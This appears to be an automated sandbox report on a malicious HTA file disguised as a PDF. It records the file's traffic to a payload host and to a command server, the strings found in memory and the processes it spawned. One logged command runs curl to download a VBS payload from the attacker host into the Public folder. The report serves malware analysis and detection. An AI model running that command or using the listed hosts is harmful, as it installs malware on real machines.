Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /676556be12355/js/676556be11f48.js HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /676556be12355/676556be12ac3.vbs HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /676556be12355/676556be12aca.vbs HTTP/1.1Host: file-download.bytez.cloudUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /list_files.php HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /list_files.php HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /js/cagesr.txt HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /js/djtukm.txt HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: file-download.bytez.cloud
Source: global traffic	DNS traffic detected: DNS query: bmuegbvuz7u3b.top

Source: powershell.exe, 0000000E.00000002.2332006085.0000016760F20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2332006085.0000016760D18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2332006085.0000016760F2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2332006085.0000016760F43000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5CEAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5CE0B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5CE86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bmuegbvuz7u3b.top
Source: powershell.exe, 00000010.00000002.2332125294.0000027D5CE0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bmuegbvuz7u3b.top/1.php?s=mints21
Source: powershell.exe, 0000000E.00000002.2386575198.000001676F73F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2386575198.000001676F611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2332006085.0000016760FED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5CF53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000010.00000002.2332125294.0000027D5B692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000E.00000002.2332006085.000001675F501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5B461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000010.00000002.2332125294.0000027D5B692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000E.00000002.2403589372.0000016777CA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micrt.com0
Source: powershell.exe, 0000000E.00000002.2332006085.000001675F501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5B461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000010.00000002.2387325863.0000027D6B660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000010.00000002.2387325863.0000027D6B660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000010.00000002.2387325863.0000027D6B660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1775756306.0000000002BFB000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1777048069.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1776890781.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1775756306.0000000002C14000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1776961183.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1777085224.0000000002BB7000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1775547468.0000000002BFB000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1775547468.0000000002C14000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1776849337.0000000002C14000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780748994.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780011182.0000000002BB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872652865.0000000002ECB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870156854.0000000002EF5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870156854.0000000002EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/
Source: mshta.exe, 00000000.00000002.1808568195.00000000063D4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1799459175.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1795404689.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000981000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802975569.0000000000981000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807311437.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbs
Source: mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbs.
Source: mshta.exe, 00000000.00000002.1808568195.00000000063D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbs6#U2
Source: mshta.exe, 00000000.00000003.1802142112.0000000000981000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802975569.0000000000981000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807311437.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsA
Source: mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsP
Source: mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsT
Source: mshta.exe, 00000000.00000003.1802142112.0000000000960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsZZC:
Source: mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsb
Source: mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsle-download.bytez.cloud/676556be123
Source: mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbss
Source: curl.exe, 00000004.00000002.1780011182.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp, 676556be12ac3[1].vbs.0.dr	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Source: curl.exe, 00000004.00000002.1780011182.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs#
Source: curl.exe, 00000004.00000003.1776961183.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780748994.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsU
Source: curl.exe, 00000004.00000002.1779869436.0000000002A30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780011182.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsWinSta0
Source: curl.exe, 00000004.00000002.1779869436.0000000002A30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780011182.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbscurl
Source: mshta.exe, 00000000.00000002.1808257954.000000000602D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1800702239.000000000602B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1800766516.000000000602B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1803416250.000000000602B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802382316.000000000602B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1800547329.000000000602B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsi
Source: curl.exe, 00000004.00000002.1780011182.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbst
Source: mshta.exe, 00000000.00000003.1802142112.0000000000960000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807235719.0000000000961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/js/676556be11f
Source: mshta.exe, 00000000.00000003.1798795949.00000000064D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1798154608.00000000064D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1806983418.000000000094E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1808568195.00000000063D4000.00000004.00000020.00020000.00000000.sdmp, PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/js/676556be11f48.js
Source: mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/js/676556be11f48.js#D/
Source: mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/js/676556be11f48.js2
Source: mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/js/676556be11f48.jsRG
Source: mshta.exe, 00000000.00000002.1806983418.000000000094E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/js/676556be11f48.jsd
Source: wscript.exe, 0000000A.00000003.1870400082.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877300951.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1871649570.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/_
Source: wscript.exe, 00000007.00000003.1870156854.0000000002EF5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872652865.0000000002EF5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1866957606.0000000002EF5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1870400082.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877300951.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1871649570.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js
Source: wscript.exe, wscript.exe, 00000007.00000002.1872652865.0000000002ECB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870156854.0000000002EC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1871089188.0000000002ECA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869855267.0000000002EB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868480167.0000000005513000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1873209738.0000000003420000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1867875577.0000000002EB2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js/cagesr.txt
Source: wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js/cagesr.txtKv
Source: wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js/cagesr.txtbv
Source: wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js/cagesr.txtxv&
Source: wscript.exe, wscript.exe, 0000000A.00000003.1870400082.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877300951.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1874325481.00000000053D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877425340.00000000031F0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1871649570.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js/djtukm.txt
Source: wscript.exe, 0000000A.00000003.1870400082.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877300951.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1871649570.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js/djtukm.txtCl
Source: wscript.exe, 0000000A.00000003.1870400082.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877300951.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1871649570.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js/djtukm.txtsmG
Source: wscript.exe, 0000000A.00000002.1877425340.00000000031F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/list_files.php
Source: wscript.exe, 0000000A.00000003.1874916415.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1870400082.0000000002EFD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877061717.0000000002F05000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1870083227.0000000002EFA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1875012011.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/list_files.phpBn
Source: wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/list_files.phpY
Source: wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/list_files.phpe~
Source: mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/s
Source: powershell.exe, 00000010.00000002.2332125294.0000027D5B692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000E.00000002.2332006085.0000016760132000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5C25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: mshta.exe, 00000000.00000003.1795404689.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1799459175.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1873854013.00000000061A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1879643877.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 0000000E.00000002.2386575198.000001676F574000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2387325863.0000027D6B616000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49741 version: TLS 1.2

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winHTA@28/16@2/3

Source: C:\Windows\SysWOW64\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\676556be11f48[1].js

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1904:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3052:120:WilError_03

Source: C:\Windows\SysWOW64\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\cagesr.js

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs

